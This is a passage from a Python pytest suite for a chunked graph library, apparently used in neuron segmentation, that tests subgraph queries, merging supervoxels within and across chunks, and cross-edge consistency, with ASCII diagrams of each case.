cgraph.get_subgraph_nodes(root2, return_layers=[2], bounding_box=[[1, 0, 0], [2, 1, 1]], bb_is_coordinate=False) assert len(lvl2_nodes) == 1 assert to_label(cgraph, 2, 1, 0, 0, 1) in lvl2_nodes lvl2_parent = cgraph.get_parent(to_label(cgraph, 1, 1, 0, 0, 0)) lvl1_nodes = cgraph.get_subgraph_nodes(lvl2_parent) assert len(lvl1_nodes) == 2 assert to_label(cgraph, 1, 1, 0, 0, 0) in lvl1_nodes assert to_label(cgraph, 1, 1, 0, 0, 1) in lvl1_nodes @pytest.mark.timeout(30) def test_get_subgraph_edges(self, gen_graph_simplequerytest): cgraph = gen_graph_simplequerytest root1 = cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 0)) root2 = cgraph.get_root(to_label(cgraph, 1, 1, 0, 0, 0)) edges, affinities, areas = cgraph.get_subgraph_edges(root1) assert len(edges) == 0 and len(affinities) == 0 and len(areas) == 0 edges, affinities, areas = cgraph.get_subgraph_edges(root2) assert [to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 1)] in edges or \ [to_label(cgraph, 1, 1, 0, 0, 1), to_label(cgraph, 1, 1, 0, 0, 0)] in edges assert [to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 2, 0, 0, 0)] in edges or \ [to_label(cgraph, 1, 2, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 0)] in edges # assert len(edges) == 2 and len(affinities) == 2 and len(areas) == 2 lvl2_parent = cgraph.get_parent(to_label(cgraph, 1, 1, 0, 0, 0)) edges, affinities, areas = cgraph.get_subgraph_edges(lvl2_parent) assert [to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 1)] in edges or \ [to_label(cgraph, 1, 1, 0, 0, 1), to_label(cgraph, 1, 1, 0, 0, 0)] in edges assert [to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 2, 0, 0, 0)] in edges or \ [to_label(cgraph, 1, 2, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 0)] in edges assert len(edges) == 2 @pytest.mark.timeout(30) def test_get_subgraph_nodes_bb(self, gen_graph_simplequerytest): cgraph = gen_graph_simplequerytest bb = np.array([[1, 0, 0], [2, 1, 1]], dtype=np.int) bb_coord = bb * cgraph.chunk_size childs_1 = cgraph.get_subgraph_nodes(cgraph.get_root(to_label(cgraph, 1, 1, 0, 0, 1)), bounding_box=bb) childs_2 = cgraph.get_subgraph_nodes(cgraph.get_root(to_label(cgraph, 1, 1, 0, 0, 1)), bounding_box=bb_coord, bb_is_coordinate=True) assert np.all(~(np.sort(childs_1) - np.sort(childs_2))) @pytest.mark.timeout(30) def test_get_atomic_partners(self, gen_graph_simplequerytest): cgraph = gen_graph_simplequerytest class TestGraphMerge: @pytest.mark.timeout(30) def test_merge_pair_same_chunk(self, gen_graph): """ Add edge between existing RG supervoxels 1 and 2 (same chunk) Expected: Same (new) parent for RG 1 and 2 on Layer two ┌─────┐ ┌─────┐ │ A¹ │ │ A¹ │ │ 1 2 │ => │ 1━2 │ │ │ │ │ └─────┘ └─────┘ """ cgraph = gen_graph(n_layers=2) # Preparation: Build Chunk A fake_timestamp = datetime.utcnow() - timedelta(days=10) create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 1)], edges=[], timestamp=fake_timestamp) # Merge new_root_ids = cgraph.add_edges("Jane Doe", [to_label(cgraph, 1, 0, 0, 0, 1), to_label(cgraph, 1, 0, 0, 0, 0)], affinities=0.3) assert len(new_root_ids) == 1 new_root_id = new_root_ids[0] # Check assert cgraph.get_parent(to_label(cgraph, 1, 0, 0, 0, 0)) == new_root_id assert cgraph.get_parent(to_label(cgraph, 1, 0, 0, 0, 1)) == new_root_id partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 0, 0, 0, 0)) assert partners[0] == to_label(cgraph, 1, 0, 0, 0, 1) and affinities[0] == np.float32(0.3) partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 0, 0, 0, 1)) assert partners[0] == to_label(cgraph, 1, 0, 0, 0, 0) and affinities[0] == np.float32(0.3) leaves = np.unique(cgraph.get_subgraph_nodes(new_root_id)) assert len(leaves) == 2 assert to_label(cgraph, 1, 0, 0, 0, 0) in leaves assert to_label(cgraph, 1, 0, 0, 0, 1) in leaves @pytest.mark.timeout(30) def test_merge_pair_neighboring_chunks(self, gen_graph): """ Add edge between existing RG supervoxels 1 and 2 (neighboring chunks) ┌─────┬─────┐ ┌─────┬─────┐ │ A¹ │ B¹ │ │ A¹ │ B¹ │ │ 1 │ 2 │ => │ 1━━┿━━2 │ │ │ │ │ │ │ └─────┴─────┘ └─────┴─────┘ """ cgraph = gen_graph(n_layers=3) # Preparation: Build Chunk A fake_timestamp = datetime.utcnow() - timedelta(days=10) create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 0)], edges=[], timestamp=fake_timestamp) # Preparation: Build Chunk B create_chunk(cgraph, vertices=[to_label(cgraph, 1, 1, 0, 0, 0)], edges=[], timestamp=fake_timestamp) cgraph.add_layer(3, np.array([[0, 0, 0], [1, 0, 0]]), time_stamp=fake_timestamp) # Merge new_root_ids = cgraph.add_edges("Jane Doe", [to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 0)], affinities=0.3) assert len(new_root_ids) == 1 new_root_id = new_root_ids[0] # Check assert cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 0)) == new_root_id assert cgraph.get_root(to_label(cgraph, 1, 1, 0, 0, 0)) == new_root_id partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 0, 0, 0, 0)) assert partners[0] == to_label(cgraph, 1, 1, 0, 0, 0) and affinities[0] == np.float32(0.3) partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 1, 0, 0, 0)) assert partners[0] == to_label(cgraph, 1, 0, 0, 0, 0) and affinities[0] == np.float32(0.3) leaves = np.unique(cgraph.get_subgraph_nodes(new_root_id)) assert len(leaves) == 2 assert to_label(cgraph, 1, 0, 0, 0, 0) in leaves assert to_label(cgraph, 1, 1, 0, 0, 0) in leaves @pytest.mark.timeout(30) def test_merge_pair_disconnected_chunks(self, gen_graph): """ Add edge between existing RG supervoxels 1 and 2 (disconnected chunks) ┌─────┐ ┌─────┐ ┌─────┐ ┌─────┐ │ A¹ │ ... │ Z¹ │ │ A¹ │ ... │ Z¹ │ │ 1 │ │ 2 │ => │ 1━━┿━━━━━┿━━2 │ │ │ │ │ │ │ │ │ └─────┘ └─────┘ └─────┘ └─────┘ """ cgraph = gen_graph(n_layers=9) # Preparation: Build Chunk A fake_timestamp = datetime.utcnow() - timedelta(days=10) create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 0)], edges=[], timestamp=fake_timestamp) # Preparation: Build Chunk Z create_chunk(cgraph, vertices=[to_label(cgraph, 1, 127, 127, 127, 0)], edges=[], timestamp=fake_timestamp) cgraph.add_layer(3, np.array([[0x00, 0x00, 0x00]]), time_stamp=fake_timestamp) cgraph.add_layer(3, np.array([[0x7F, 0x7F, 0x7F]]), time_stamp=fake_timestamp) cgraph.add_layer(4, np.array([[0x00, 0x00, 0x00]]), time_stamp=fake_timestamp) cgraph.add_layer(4, np.array([[0x3F, 0x3F, 0x3F]]), time_stamp=fake_timestamp) cgraph.add_layer(5, np.array([[0x00, 0x00, 0x00]]), time_stamp=fake_timestamp) cgraph.add_layer(5, np.array([[0x1F, 0x1F, 0x1F]]), time_stamp=fake_timestamp) cgraph.add_layer(6, np.array([[0x00, 0x00, 0x00]]), time_stamp=fake_timestamp) cgraph.add_layer(6, np.array([[0x0F, 0x0F, 0x0F]]), time_stamp=fake_timestamp) cgraph.add_layer(7, np.array([[0x00, 0x00, 0x00]]), time_stamp=fake_timestamp) cgraph.add_layer(7, np.array([[0x07, 0x07, 0x07]]), time_stamp=fake_timestamp) cgraph.add_layer(8, np.array([[0x00, 0x00, 0x00]]), time_stamp=fake_timestamp) cgraph.add_layer(8, np.array([[0x03, 0x03, 0x03]]), time_stamp=fake_timestamp) cgraph.add_layer(9, np.array([[0x00, 0x00, 0x00], [0x01, 0x01, 0x01]]), time_stamp=fake_timestamp) # Merge new_root_ids = cgraph.add_edges("Jane Doe", [to_label(cgraph, 1, 127, 127, 127, 0), to_label(cgraph, 1, 0, 0, 0, 0)], affinities=0.3) assert len(new_root_ids) == 1 new_root_id = new_root_ids[0] # Check assert cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 0)) == new_root_id assert cgraph.get_root(to_label(cgraph, 1, 127, 127, 127, 0)) == new_root_id partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 0, 0, 0, 0)) assert partners[0] == to_label(cgraph, 1, 127, 127, 127, 0) and affinities[0] == np.float32(0.3) partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 127, 127, 127, 0)) assert partners[0] == to_label(cgraph, 1, 0, 0, 0, 0) and affinities[0] == np.float32(0.3) leaves = np.unique(cgraph.get_subgraph_nodes(new_root_id)) assert len(leaves) == 2 assert to_label(cgraph, 1, 0, 0, 0, 0) in leaves assert to_label(cgraph, 1, 127, 127, 127, 0) in leaves @pytest.mark.timeout(30) def test_merge_pair_already_connected(self, gen_graph): """ Add edge between already connected RG supervoxels 1 and 2 (same chunk). Expected: No change, i.e. same parent (to_label(cgraph, 2, 0, 0, 0, 1)), affinity (0.5) and timestamp as before ┌─────┐ ┌─────┐ │ A¹ │ │ A¹ │ │ 1━2 │ => │ 1━2 │ │ │ │ │ └─────┘ └─────┘ """ cgraph = gen_graph(n_layers=2) # Preparation: Build Chunk A fake_timestamp = datetime.utcnow() - timedelta(days=10) create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 1)], edges=[(to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 1), 0.5)], timestamp=fake_timestamp) res_old = cgraph.table.read_rows() res_old.consume_all() # Merge cgraph.add_edges("Jane Doe", [to_label(cgraph, 1, 0, 0, 0, 1), to_label(cgraph, 1, 0, 0, 0, 0)]) res_new = cgraph.table.read_rows() res_new.consume_all() # Check if res_old.rows != res_new.rows: warn("Rows were modified when merging a pair of already connected supervoxels. " "While probably not an error, it is an unnecessary operation.") @pytest.mark.timeout(30) def test_merge_triple_chain_to_full_circle_same_chunk(self, gen_graph): """ Add edge between indirectly connected RG supervoxels 1 and 2 (same chunk) ┌─────┐ ┌─────┐ │ A¹ │ │ A¹ │ │ 1 2 │ => │ 1━2 │ │ ┗3┛ │ │ ┗3┛ │ └─────┘ └─────┘ """ cgraph = gen_graph(n_layers=2) # Preparation: Build Chunk A fake_timestamp = datetime.utcnow() - timedelta(days=10) create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 1), to_label(cgraph, 1, 0, 0, 0, 2)], edges=[(to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 2), 0.5), (to_label(cgraph, 1, 0, 0, 0, 1), to_label(cgraph, 1, 0, 0, 0, 2), 0.5)], timestamp=fake_timestamp) # Merge new_root_ids = cgraph.add_edges("Jane Doe", [to_label(cgraph, 1, 0, 0, 0, 1), to_label(cgraph, 1, 0, 0, 0, 0)], affinities=0.3) assert len(new_root_ids) == 1 new_root_id = new_root_ids[0] # Check assert cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 0)) == new_root_id assert cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 1)) == new_root_id assert cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 2)) == new_root_id partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 0, 0, 0, 0)) assert len(partners) == 2 assert to_label(cgraph, 1, 0, 0, 0, 1) in partners assert to_label(cgraph, 1, 0, 0, 0, 2) in partners partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 0, 0, 0, 1)) assert len(partners) == 2 assert to_label(cgraph, 1, 0, 0, 0, 0) in partners assert to_label(cgraph, 1, 0, 0, 0, 2) in partners partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 0, 0, 0, 2)) assert len(partners) == 2 assert to_label(cgraph, 1, 0, 0, 0, 0) in partners assert to_label(cgraph, 1, 0, 0, 0, 1) in partners leaves = np.unique(cgraph.get_subgraph_nodes(new_root_id)) assert len(leaves) == 3 assert to_label(cgraph, 1, 0, 0, 0, 0) in leaves assert to_label(cgraph, 1, 0, 0, 0, 1) in leaves assert to_label(cgraph, 1, 0, 0, 0, 2) in leaves @pytest.mark.timeout(30) def test_merge_triple_chain_to_full_circle_neighboring_chunks(self, gen_graph): """ Add edge between indirectly connected RG supervoxels 1 and 2 (neighboring chunks) ┌─────┬─────┐ ┌─────┬─────┐ │ A¹ │ B¹ │ │ A¹ │ B¹ │ │ 1 │ 2 │ => │ 1━━┿━━2 │ │ ┗3━┿━━┛ │ │ ┗3━┿━━┛ │ └─────┴─────┘ └─────┴─────┘ """ cgraph = gen_graph(n_layers=3) # Preparation: Build Chunk A fake_timestamp = datetime.utcnow() - timedelta(days=10) create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 1)], edges=[(to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 1), 0.5), (to_label(cgraph, 1, 0, 0, 0, 1), to_label(cgraph, 1, 1, 0, 0, 0), inf)], timestamp=fake_timestamp) # Preparation: Build Chunk B create_chunk(cgraph, vertices=[to_label(cgraph, 1, 1, 0, 0, 0)], edges=[(to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 1), inf)], timestamp=fake_timestamp) cgraph.add_layer(3, np.array([[0, 0, 0], [1, 0, 0]]), time_stamp=fake_timestamp) # Merge new_root_ids = cgraph.add_edges("Jane Doe", [to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 0)], affinities=1.0) assert len(new_root_ids) == 1 new_root_id = new_root_ids[0] # Check assert cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 0)) == new_root_id assert cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 1)) == new_root_id assert cgraph.get_root(to_label(cgraph, 1, 1, 0, 0, 0)) == new_root_id partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 0, 0, 0, 0)) assert len(partners) == 2 assert to_label(cgraph, 1, 0, 0, 0, 1) in partners assert to_label(cgraph, 1, 1, 0, 0, 0) in partners partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 0, 0, 0, 1)) assert len(partners) == 2 assert to_label(cgraph, 1, 0, 0, 0, 0) in partners assert to_label(cgraph, 1, 1, 0, 0, 0) in partners partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 1, 0, 0, 0)) assert len(partners) == 2 assert to_label(cgraph, 1, 0, 0, 0, 0) in partners assert to_label(cgraph, 1, 0, 0, 0, 1) in partners leaves = np.unique(cgraph.get_subgraph_nodes(new_root_id)) assert len(leaves) == 3 assert to_label(cgraph, 1, 0, 0, 0, 0) in leaves assert to_label(cgraph, 1, 0, 0, 0, 1) in leaves assert to_label(cgraph, 1, 1, 0, 0, 0) in leaves cross_edge_dict_layers = graph_tests.root_cross_edge_test(new_root_id, cg=cgraph) # dict: layer -> cross_edge_dict n_cross_edges_layer = collections.defaultdict(list) for child_layer in cross_edge_dict_layers.keys(): for layer in cross_edge_dict_layers[child_layer].keys(): n_cross_edges_layer[layer].append(len(cross_edge_dict_layers[child_layer][layer])) for layer in n_cross_edges_layer.keys(): assert len(np.unique(n_cross_edges_layer[layer])) == 1 @pytest.mark.timeout(30) def test_merge_triple_chain_to_full_circle_disconnected_chunks(self, gen_graph): """ Add edge between indirectly connected RG supervoxels 1 and 2 (disconnected chunks) ┌─────┐ ┌─────┐ ┌─────┐ ┌─────┐ │ A¹ │ ... │ Z¹ │ │ A¹ │ ... │ Z¹ │ │ 1 │ │ 2 │ => │ 1━━┿━━━━━┿━━2 │ │ ┗3━┿━━━━━┿━━┛ │ │ ┗3━┿━━━━━┿━━┛ │ └─────┘ └─────┘ └─────┘ └─────┘ """ cgraph = gen_graph(n_layers=9) # Preparation: Build Chunk A fake_timestamp = datetime.utcnow() - timedelta(days=10) create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 1)], edges=[(to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 1), 0.5), (to_label(cgraph, 1, 0, 0, 0, 1), to_label(cgraph, 1, 127, 127, 127, 0), inf)], timestamp=fake_timestamp) # Preparation: Build Chunk B create_chunk(cgraph, vertices=[to_label(cgraph, 1, 127, 127, 127, 0)], edges=[(to_label(cgraph, 1, 127, 127, 127, 0), to_label(cgraph, 1, 0, 0, 0, 1), inf)], timestamp=fake_timestamp) cgraph.add_layer(3, np.array([[0x00, 0x00, 0x00]]), time_stamp=fake_timestamp) cgraph.add_layer(3, np.array([[0x7F, 0x7F, 0x7F]]), time_stamp=fake_timestamp) cgraph.add_layer(4, np.array([[0x00, 0x00, 0x00]]), time_stamp=fake_timestamp) cgraph.add_layer(4, np.array([[0x3F, 0x3F, 0x3F]]), time_stamp=fake_timestamp) cgraph.add_layer(5, np.array([[0x00, 0x00, 0x00]]), time_stamp=fake_timestamp) cgraph.add_layer(5, np.array([[0x1F, 0x1F, 0x1F]]), time_stamp=fake_timestamp) cgraph.add_layer(6, np.array([[0x00, 0x00, 0x00]]), time_stamp=fake_timestamp) cgraph.add_layer(6, np.array([[0x0F, 0x0F, 0x0F]]), time_stamp=fake_timestamp) cgraph.add_layer(7, np.array([[0x00, 0x00, 0x00]]), time_stamp=fake_timestamp) cgraph.add_layer(7, np.array([[0x07, 0x07, 0x07]]), time_stamp=fake_timestamp) cgraph.add_layer(8, np.array([[0x00, 0x00, 0x00]]), time_stamp=fake_timestamp) cgraph.add_layer(8, np.array([[0x03, 0x03, 0x03]]), time_stamp=fake_timestamp) cgraph.add_layer(9, np.array([[0x00, 0x00, 0x00], [0x01, 0x01, 0x01]]), time_stamp=fake_timestamp) # Merge new_root_ids = cgraph.add_edges("Jane Doe", [to_label(cgraph, 1, 127, 127, 127, 0), to_label(cgraph, 1, 0, 0, 0, 0)], affinities=1.0) assert len(new_root_ids) == 1 new_root_id = new_root_ids[0] # Check assert cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 0)) == new_root_id assert cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 1)) == new_root_id assert cgraph.get_root(to_label(cgraph, 1, 127, 127, 127, 0)) == new_root_id partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 0, 0, 0, 0)) assert len(partners) == 2 assert to_label(cgraph, 1, 0, 0, 0, 1) in partners assert to_label(cgraph, 1, 127, 127, 127, 0) in partners partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 0, 0, 0, 1)) assert len(partners) == 2 assert to_label(cgraph, 1, 0, 0, 0, 0) in partners assert to_label(cgraph, 1, 127, 127, 127, 0) in partners partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 127, 127, 127, 0)) assert len(partners) == 2 assert to_label(cgraph, 1, 0, 0, 0, 0) in partners assert to_label(cgraph, 1, 0, 0, 0, 1) in partners leaves = np.unique(cgraph.get_subgraph_nodes(new_root_id)) assert len(leaves) == 3 assert to_label(cgraph, 1, 0, 0, 0, 0) in leaves assert to_label(cgraph, 1, 0, 0, 0, 1) in leaves assert to_label(cgraph, 1, 127, 127, 127, 0) in leaves cross_edge_dict_layers = graph_tests.root_cross_edge_test(new_root_id, cg=cgraph) # dict: layer -> cross_edge_dict n_cross_edges_layer = collections.defaultdict(list) for child_layer in cross_edge_dict_layers.keys(): for layer in cross_edge_dict_layers[child_layer].keys(): n_cross_edges_layer[layer].append(len(cross_edge_dict_layers[child_layer][layer])) for layer in n_cross_edges_layer.keys(): assert len(np.unique(n_cross_edges_layer[layer])) == 1 @pytest.mark.timeout(30) def test_merge_same_node(self, gen_graph): """ Try to add loop edge between RG supervoxel 1 and itself ┌─────┐ │ A¹ │ │ 1 │ => Reject │ │ └─────┘ """ cgraph = gen_graph(n_layers=2) # Preparation: Build Chunk A fake_timestamp = datetime.utcnow() - timedelta(days=10) create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 0)], edges=[], timestamp=fake_timestamp) res_old = cgraph.table.read_rows() res_old.consume_all() # Merge assert cgraph.add_edges("Jane Doe", [to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 0)]) is None res_new = cgraph.table.read_rows() res_new.consume_all() assert res_new.rows == res_old.rows @pytest.mark.timeout(30) def test_merge_pair_abstract_nodes(self, gen_graph): """ Try to add edge between RG supervoxel 1 and abstract node "2" ┌─────┐ │ B² │ │ "2" │ │ │ └─────┘ ┌─────┐ => Reject │ A¹ │ │ 1 │ │ │ └─────┘ """ cgraph = gen_graph(n_layers=3) # Preparation: Build Chunk A fake_timestamp = datetime.utcnow() - timedelta(days=10) create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 0)], edges=[], timestamp=fake_timestamp) # Preparation: Build Chunk B create_chunk(cgraph, vertices=[to_label(cgraph, 1, 1, 0, 0, 0)], edges=[], timestamp=fake_timestamp) cgraph.add_layer(3, np.array([[0, 0, 0], [1, 0, 0]]), time_stamp=fake_timestamp) res_old = cgraph.table.read_rows() res_old.consume_all() # Merge assert cgraph.add_edges("Jane Doe", [to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 2, 1, 0, 0, 1)]) is None res_new = cgraph.table.read_rows() res_new.consume_all() assert res_new.rows == res_old.rows @pytest.mark.timeout(30) def test_diagonal_connections(self, gen_graph): """ Create graph with edge between RG supervoxels 1 and 2 (same chunk) and edge between RG supervoxels 1 and 3 (neighboring chunks) ┌─────┬─────┐ │ A¹ │ B¹ │ │ 2 1━┿━━3 │ │ / │ │ ┌─────┬─────┐ │ | │ │ │ 4━━┿━━5 │ │ C¹ │ D¹ │ └─────┴─────┘ """ cgraph = gen_graph(n_layers=3) # Chunk A create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 1)], edges=[(to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 0), inf), (to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 1, 0, 0), inf)]) # Chunk B create_chunk(cgraph, vertices=[to_label(cgraph, 1, 1, 0, 0, 0)], edges=[(to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 0), inf)]) # Chunk C create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 1, 0, 0)], edges=[(to_label(cgraph, 1, 0, 1, 0, 0), to_label(cgraph, 1, 1, 1, 0, 0), inf), (to_label(cgraph, 1, 0, 1, 0, 0), to_label(cgraph, 1, 0, 0, 0, 0), inf)]) # Chunk D create_chunk(cgraph, vertices=[to_label(cgraph, 1, 1, 1, 0, 0)], edges=[(to_label(cgraph, 1, 1, 1, 0, 0), to_label(cgraph, 1, 0, 1, 0, 0), inf)]) cgraph.add_layer(3, np.array([[0, 0, 0], [1, 0, 0], [0, 1, 0], [1, 1, 0]])) rr = cgraph.range_read_chunk( chunk_id=cgraph.get_chunk_id(layer=3, x=0, y=0, z=0)) root_ids_t0 = list(rr.keys()) assert len(root_ids_t0) == 2 child_ids = [] for root_id in root_ids_t0: cgraph.logger.debug(("root_id", root_id)) child_ids.extend(cgraph.get_subgraph_nodes(root_id)) new_roots = cgraph.add_edges("Jane Doe", [to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 1)], affinities=[.5]) root_ids = [] for child_id in child_ids: root_ids.append(cgraph.get_root(child_id)) assert len(np.unique(root_ids)) == 1 root_id = root_ids[0] assert root_id == new_roots[0] cross_edge_dict_layers = graph_tests.root_cross_edge_test(root_id, cg=cgraph) # dict: layer -> cross_edge_dict n_cross_edges_layer = collections.defaultdict(list) for child_layer in cross_edge_dict_layers.keys(): for layer in cross_edge_dict_layers[child_layer].keys(): n_cross_edges_layer[layer].append( len(cross_edge_dict_layers[child_layer][layer])) for layer in n_cross_edges_layer.keys(): assert len(np.unique(n_cross_edges_layer[layer])) == 1 @pytest.mark.timeout(30) def test_cross_edges(self, gen_graph): """ Remove edge between existing RG supervoxels 1 and 2 (neighboring chunks) ┌─...─┬────────┬─────┐ ┌─...─┬────────┬─────┐ | │ A¹ │ B¹ │ | │ A¹ │ B¹ │ | │ 4 1━━┿━━5 │ => | │ 4━━1━━┿━━5 │ | │ / │ | │ | │ / │ │ | │ 3 2━━┿━━6 │ | │ 3 2━━┿━━6 │ └─...─┴────────┴─────┘ └─...─┴────────┴─────┘ """ cgraph = gen_graph(n_layers=6) chunk_offset = 6 # Preparation: Build Chunk A fake_timestamp = datetime.utcnow() - timedelta(days=10) create_chunk(cgraph, vertices=[to_label(cgraph, 1, chunk_offset, 0, 0, 0), to_label(cgraph, 1, chunk_offset, 0, 0, 1), to_label(cgraph, 1, chunk_offset, 0, 0, 2), to_label(cgraph, 1, chunk_offset, 0, 0, 3)], edges=[(to_label(cgraph, 1, chunk_offset, 0, 0, 0), to_label(cgraph, 1, chunk_offset+1, 0, 0, 0), inf), (to_label(cgraph, 1, chunk_offset, 0, 0, 1), to_label(cgraph, 1, chunk_offset+1, 0, 0, 1), inf), (to_label(cgraph, 1, chunk_offset, 0, 0, 0), to_label(cgraph, 1, chunk_offset, 0, 0, 2), .5)], timestamp=fake_timestamp) # Preparation: Build Chunk B create_chunk(cgraph, vertices=[to_label(cgraph, 1, chunk_offset+1, 0, 0, 0), to_label(cgraph, 1, chunk_offset+1, 0, 0, 1)], edges=[(to_label(cgraph, 1, chunk_offset+1, 0, 0, 0), to_label(cgraph, 1, chunk_offset, 0, 0, 0), inf), (to_label(cgraph, 1, chunk_offset+1, 0, 0, 1), to_label(cgraph, 1, chunk_offset, 0, 0, 1), inf), (to_label(cgraph, 1, chunk_offset+1, 0, 0, 0), to_label(cgraph, 1, chunk_offset+2, 0, 0, 0), inf), (to_label(cgraph, 1, chunk_offset+1, 0, 0, 1), to_label(cgraph, 1, chunk_offset+2, 0, 0, 1), inf)], timestamp=fake_timestamp) # Preparation: Build Chunk C create_chunk(cgraph, vertices=[to_label(cgraph, 1, chunk_offset+2, 0, 0, 0), to_label(cgraph, 1, chunk_offset+2, 0, 0, 1)], edges=[(to_label(cgraph, 1, chunk_offset+2, 0, 0, 0), to_label(cgraph, 1, chunk_offset+1, 0, 0, 0), inf), (to_label(cgraph, 1, chunk_offset+2, 0, 0, 1), to_label(cgraph, 1, chunk_offset+1, 0, 0, 1), inf), (to_label(cgraph, 1, chunk_offset+2, 0, 0, 0), to_label(cgraph, 1, chunk_offset+3, 0, 0, 0), inf), (to_label(cgraph, 1, chunk_offset+2, 0, 0, 0), to_label(cgraph, 1, chunk_offset+2, 0, 0, 1), .5)], timestamp=fake_timestamp) # Preparation: Build Chunk D create_chunk(cgraph, vertices=[to_label(cgraph, 1, chunk_offset+3, 0, 0, 0)], edges=[(to_label(cgraph, 1, chunk_offset+3, 0, 0, 0), to_label(cgraph, 1, chunk_offset+2, 0, 0, 0), inf), (to_label(cgraph, 1, chunk_offset+3, 0, 0, 0), to_label(cgraph, 1, chunk_offset+4, 0, 0, 0), inf)], timestamp=fake_timestamp) # Preparation: Build Chunk E create_chunk(cgraph, vertices=[to_label(cgraph, 1, chunk_offset+4, 0, 0, 0)], edges=[(to_label(cgraph, 1, chunk_offset+4, 0, 0, 0), to_label(cgraph, 1, chunk_offset+3, 0, 0, 0), inf), (to_label(cgraph, 1, chunk_offset+4, 0, 0, 0), to_label(cgraph, 1, chunk_offset+5, 0, 0, 0), inf)], timestamp=fake_timestamp) # Preparation: Build Chunk F create_chunk(cgraph, vertices=[to_label(cgraph, 1, chunk_offset+5, 0, 0, 0)], edges=[(to_label(cgraph, 1, chunk_offset+5, 0, 0, 0), to_label(cgraph, 1, chunk_offset+4, 0, 0, 0), inf)], timestamp=fake_timestamp) for i_layer in range(3, 7): for i_chunk in range(0, 2 ** (7 - i_layer), 2): cgraph.add_layer(i_layer, np.array([[i_chunk, 0, 0], [i_chunk+1, 0, 0]]), time_stamp=fake_timestamp) new_roots = cgraph.add_edges("Jane Doe", [to_label(cgraph, 1, chunk_offset, 0, 0, 0), to_label(cgraph, 1, chunk_offset, 0, 0, 3)], affinities=.9) assert len(new_roots) == 1 root_id = new_roots[0] cross_edge_dict_layers = graph_tests.root_cross_edge_test(root_id, cg=cgraph) # dict: layer -> cross_edge_dict n_cross_edges_layer = collections.defaultdict(list) for child_layer in cross_edge_dict_layers.keys(): for layer in cross_edge_dict_layers[child_layer].keys(): n_cross_edges_layer[layer].append( len(cross_edge_dict_layers[child_layer][layer])) for layer in n_cross_edges_layer.keys(): cgraph.logger.debug("LAYER %d" % layer) assert len(np.unique(n_cross_edges_layer[layer])) == 1 class TestGraphSplit: @pytest.mark.timeout(30) def test_split_pair_same_chunk(self, gen_graph): """ Remove edge between existing RG supervoxels 1 and 2 (same chunk) Expected: Different (new) parents for RG 1 and 2 on Layer two ┌─────┐ ┌─────┐ │ A¹ │ │ A¹ │ │ 1━2 │ 